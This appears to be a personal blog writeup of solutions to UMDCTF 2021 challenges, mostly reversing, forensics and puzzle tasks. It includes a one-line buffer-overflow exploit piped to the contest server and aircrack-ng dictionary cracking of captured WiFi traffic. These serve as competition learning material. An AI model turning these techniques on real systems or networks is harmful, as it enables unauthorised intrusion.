The Cyberdawgs competed in UMDCTF 2021 this weekend! It was a lot of fun. Here are some writeups for all of the challenges I personally solved.

Challenges sectioned off by category:

RE

Painting Windows

It’s a Windows executable that asks for a password. Load it into Ghidra. Lurk around the Strings view a bit, find the function which prints “What is the Password”?

There’s a byte[256] which holds the attempted password. There’s a loop that goes local_118[i] = (pw_attempt[i] ^ 0xf) * 2; and then a later one which compares local_118 against a hardcoded buffer DAT_1400022d0. Copy out the hex from that hardcoded buffer (VS code again helps with getting a column out of a string of text).

Put it into Cyberchef:
From Hex → Bit Shift Right 1 (to reverse the *2) → XOR with 0xf.
The flag is output.

Starbucks

Put it in a Java decompiler. Get the source out.

There’s a function which basically prints the flag, it’s just not being called (dead code).

Edit the source so that it runs said function. Re-run it.

Crypto

Art Class

It’s an image of maritime signal flags. https://en.wikipedia.org/wiki/International_maritime_signal_flags Each represents one letter.

Art Class

Forenics

Not Slick

It’s a reversed PNG (you can tell as IEND is at the front, PNG is at the back, but all reversed-looking). Stick it in Cyberchef and Reverse -> Render Image.

Donnie Docker

It SSHes you into a Docker host, not a Docker container… caught me off guard. Anyways you just run docker ps -a to see the stopped container. Then docker start it, docker exec -it [containername] /bin/bash to get into it, and cat the flag.

Protocol One and Zero

It’s Wireshark, it’s a bunch of ICMP pings, each packet’s data contents are either all ones or all zeroes. Problem is there’s two duplicate packets (request, reply) but I just need one per bit. Use Wireshark to filter for just icmp.resp_in.

Now do File → Export Packet Dissections → As JSON → Displayed.

Copy paste the JSON into https://jqplay.org and use this filter: .[]._source.layers.icmp.data."data.data".

Copy paste the result into VS code, zoom out, use the multiline cursor to get just one column of text. Find/Replace to remove newlines and replace f with 1. Paste resultant binary into Cyberchef, convert from binary (to ASCII), get flag.

Misc

John’s Return

It’s encrypted WiFi traffic. Convert it to .pcap format, install aircrack-ng and run aircrack-ng -w rockyou.txt received.s0i0.pcap. The password is chocolate, SSID is linksys; use that to decrypt in Wireshark. Be sure to click the right-side tab at the bottom to view decrypted contents.

Testudo’s Message

Each cell is binary (7 bits, ASCII). The message reads out from the top left corner going downwards, then rightwards. Wrap it in flag format.

Turtle Shell

ChungusBot

The commands have to run in a strict order. The first command creates a file with your username. Commands 2, 3, and 4 increment a counter of sorts in the file, and then another command in 4 prints out the flag if the counter is “complete” and started less than 15 seconds ago.

  1. https://github.com/itsecgary/ChungusBot/blob/main/cogs/chungusboi.py
  2. https://github.com/itsecgary/ChungusBot/blob/main/cogs/flag.py
  3. https://github.com/itsecgary/ChungusBot/blob/main/cogs/chungy.py
  4. https://github.com/itsecgary/ChungusBot/blob/main/cogs/gagagaga.py
    Note the 15 second time limit enforced by the final command, >gagagaga giveittome.

Minetest 1

Minetest is an open-source voxel game; a clone of Minecraft, kind of. You just connect to the game server. This challenge was a ton of fun.

My teammate solved this one (#1), but I think the flag was just in one of the books in the bookshelf in the room you teleport into.

Minetest 2

This was a digital logic challenge! There was a series of five rooms, each containing some digital logic gates on the ground. (Note: I’m writing these off of memory, so some details definitely might be wrong, this is just a rough description of the concepts.)

Room 1

There were five buttons on the walls and some logic gates on the floor. You needed the right combination in order to illuminate the GREEN light on the opposing wall. Once the green light is illuminated, a letter or two is added to the flag output on the large green flag board in the main room.

Room 2

There were again five buttons on the left wall. There was a sign that said XOR. There were some markers on the center wall with two five-bit values, top and bottom. You XOR them together then input that onto the buttons on the left side. Once the buttons are correct, letters are added to the flag board.

Room 3

Here’s where it got more difficult. The idea is that there’s a “microcontroller” block embedded in the wall. You can right-click on it and there’s a spot to enter some text. You input a short ASCII string there, hit Execute, and if it’s correct, characters will be added to the flag board in the atrium.

But how do you know which characters to enter? Well, if you hit the button on the wall, some input data will feed into the room through the wires labeled ABC. Basically a series of 3-bit values will be fed into the room at around 1 Hz. The circuit on the floor is a full adder, so I think the idea was that you watch the output lights illuminate, and record their states, and based on that, figure out the series of input values. However, you can also watch the input wires as they get changed, and record their state. Cheesing it? Yeah… but it worked, alright?

So you hit the button, let it “play” the input, and watch and record the states of the input wires at each “tick” of input data.

 B
  C
A
ABC
 B
A C
A C
A
 BC
 BC

A

A C
A
A
ABC

Then this is turned into one long binary string in the order of ABCABCABCABC… so what I got was 010 001 100 111 010 ... and so on. Convert that binary to ASCII and you get FullAd. Input that into the microcontroller, hit execute, get more flag letters.

Room 4

There’s a series of output bits laid out on the floor. Each only illuminates based on a specific condition of the input bits (for example, say, A must be on while B and C are off). This is the same sort of challenge as Room 3 (with the microcontroller and string in ABCABCABC order).

To be honest, I don’t get what they were going for with the bits illuminating under specific conditions/combinations… it sparks some vague memories from my Digital Logic course but not much more than that. I ended up just cheesing it and watching the input wires' state again. :(

Room 5

The final room! Basically there’s 8 bits on the left wall. You have to figure out which particular bit combinations (bytes) make the output illuminate. Convert those “valid” bytes into ASCII and put them into the microcontroller to get the flag (remember to exclude the { character, I guess it breaks the microcontroller).

I just numbered each bit (starting from 1 for some reason) and wrote down the logic gates as text.

OUT =
    (
        (8 XOR 6)
        AND
        ((1 XOR 3) AND ((8 XNOR 5) AND (2 AND NOT 1)))
    )
        AND
    (7 XNOR 4)
    
conditions to satisfy:
8 xor 6 == T
1 xor 3 == T
8 xor 5 == F
2 == T
1 == F
7 xor 4 == F

Then made a Python script to try all possible bytes:

def is_set(x, n):
    return x & 2 ** n != 0 

for i in range(256):
    by1 = is_set(i, 0)
    by2 = is_set(i, 1)
    by3 = is_set(i, 2)
    by4 = is_set(i, 3)
    by5 = is_set(i, 4)
    by6 = is_set(i, 5)
    by7 = is_set(i, 6)
    by8 = is_set(i, 7)
    cond = (by8 ^ by6) and (by1 ^ by3) and (not (by8 ^ by5)) and by2 and (not by1) and (not (by7 ^ by4))
    if cond:
        print(format(i, '#010b'))

The outputted bytes were converted to ASCII, I removed the { and inputted into the microcontroller. Flag complete.

Pwnables

Jump Not Easy

Open Ghidra, find address of the get_flag function (and be sure to read it correctly… it’s below the function name not above it, wasted like an hour on this). Address is 0x40125d.

Exploit with python3 -c "print('a' * (64+8) + '\x5d\x12\x40')" | nc chals5.umdctf.io 7003. Note that the order of the address bytes is reversed.

Some handy GDB tricks learned in the meantime: You can run this in GDB with r <<< $(python3 -c "print('a' * (64+8) + '\x5d\x12\x40', end='')"), view the return address with info frame, and view the stack with x/100x $sp.

OSINT

MemeCTF 2 Electric Boogaloo

There’s a long hash looking thing there. Google it and find a UMD CSEC Github repo. Deep inside it is a folder that looks suspiciously like a .git folder. Clone it, rename suspicious folder to .git, and sure enough it’s a nested repo. git log -p to show the diffs for each commit, and down there at the bottom is the flag file.

Steganography

Coldplay’s Flags

It’s Flags by Coldplay. The song. An audio file. Binwalk it and extract a flag.zip. It’s password locked. It also contains a hint.txt with a password template with timestamps of the song. The challenge description mentions “for the password, think words, not characters” so clearly the idea is each () represents one (or more…?) words at that part of the song.

Assume all characters are lowercase
password: (1:49)_(1:01)_(0:16)_(0:56)_(0:17)_(1:33)_a_(1:34)?

Problem is there’s not really singular words at each timestamp. Wrote a script in python to enumerate the possible arrays of words at each timestamp (like 4 words max, so not huge wordlist in the end).

la = ["can", "you", "show", "me"]
lb = ["tchaikovsky"]
lc = ["talk", "among"]
ld = ["wanted", "to", "be"]
le = ["the", "skeletons"]
lf = ["by", "a", "ouija"]
### a
lh = ["ouija", "any"]

i = 0
for a in la:
    for b in lb:
        for c in lc:
            for d in ld:
                for e in le:
                    for f in lf:
                        for h in lh:
                            i += 1
                            pw = a + "_" + b + "_" + c + "_" + d + "_" + e + "_" + f + "_" + "a" + "_" + h + "?"
                            print(pw)

Tried using John the Ripper to run it on the .zip but seems that didn’t work - still not sure what I was doing wrong. Teammate ended up pointing out the password that actually was a coherent sentence, haha. Logic prevails over brute force this time.

Steg Safari

  • Load it into a hex editor, go to the first IEND (I think), and notice there’s a PK something after that. That’s a Word .docx signature. Delete the preceding bytes to get the Word Doc, or just skip that and run binwalk on it to extract the images.
  • One of the extracted objects is an image of a compass.
  • Various image forenics sites https://29a.ch/photo-forensics/#pca and https://stegonline.georgeom.net/image reveal there’s some LSB action of some sort in the top section of the image. Forenics
  • Play around with zsteg. Ultimately it’s zsteg -b 00000001 image1.png -E b1,rgb,lsb,xy > extract.png to extract a pic of a QR code.
  • Scan the QR code, it takes you to a Google Drive link of a voice recording.
  • There’s a weird click at the very start of the audio. Shows up prominently in the spectrogram. Audio
  • Crop on that part and zoom in in Audacity to show individual samples. It’s ones and zeroes. Type them into CyberChef and convert to ASCII: 0101010101001101010001000100001101010100010001100010110101111011011100110111010000110011011001110101111100100100011101010111100001111101 to get the flag.

Web

IOT Project

It’s a website hosted on Github Pages, therefore it has an underlying repo. Go visit https://github.com/azeemsm-umdctf/azeemsm-umdctf.github.io. Look through the history, find this thingy. Run the POST HTTP request but replace the email with your own email, send request with key from hidden file (removed from Github repo), email will arrive, it contains flag.

Programming

Jay 1

Steal Kadane’s Algorithm off of GeeksForGeeks.

from pwn import *

from sys import maxsize
 
# SOURCE: GEEKSFORGEEKS
# Function to find the maximum contiguous subarray
# and print its starting and end index
def maxSubArraySum(a,size):
 
    max_so_far = -maxsize - 1
    max_ending_here = 0
    start = 0
    end = 0
    s = 0
 
    for i in range(0,size):
 
        max_ending_here += a[i]
 
        if max_so_far < max_ending_here:
            max_so_far = max_ending_here
            start = s
            end = i
 
        if max_ending_here < 0:
            max_ending_here = 0
            s = i+1
 
    return "%d, %d, %d"%(max_so_far, start, end)

conn = remote('chals3.umdctf.io', 6001)
conn.recvuntil(b'get the arr')
conn.send(b'\n')
conn.recvuntil("[")
arr = conn.recvuntil(b']').decode("utf-8")[:-1].split(',')
arr = [int(a) for a in arr]
log.info("Got array length " + str(len(arr)))
ms = maxSubArraySum(arr, len(arr))
log.info("Answer is " + ms)
conn.send(ms)
conn.interactive()
conn.close()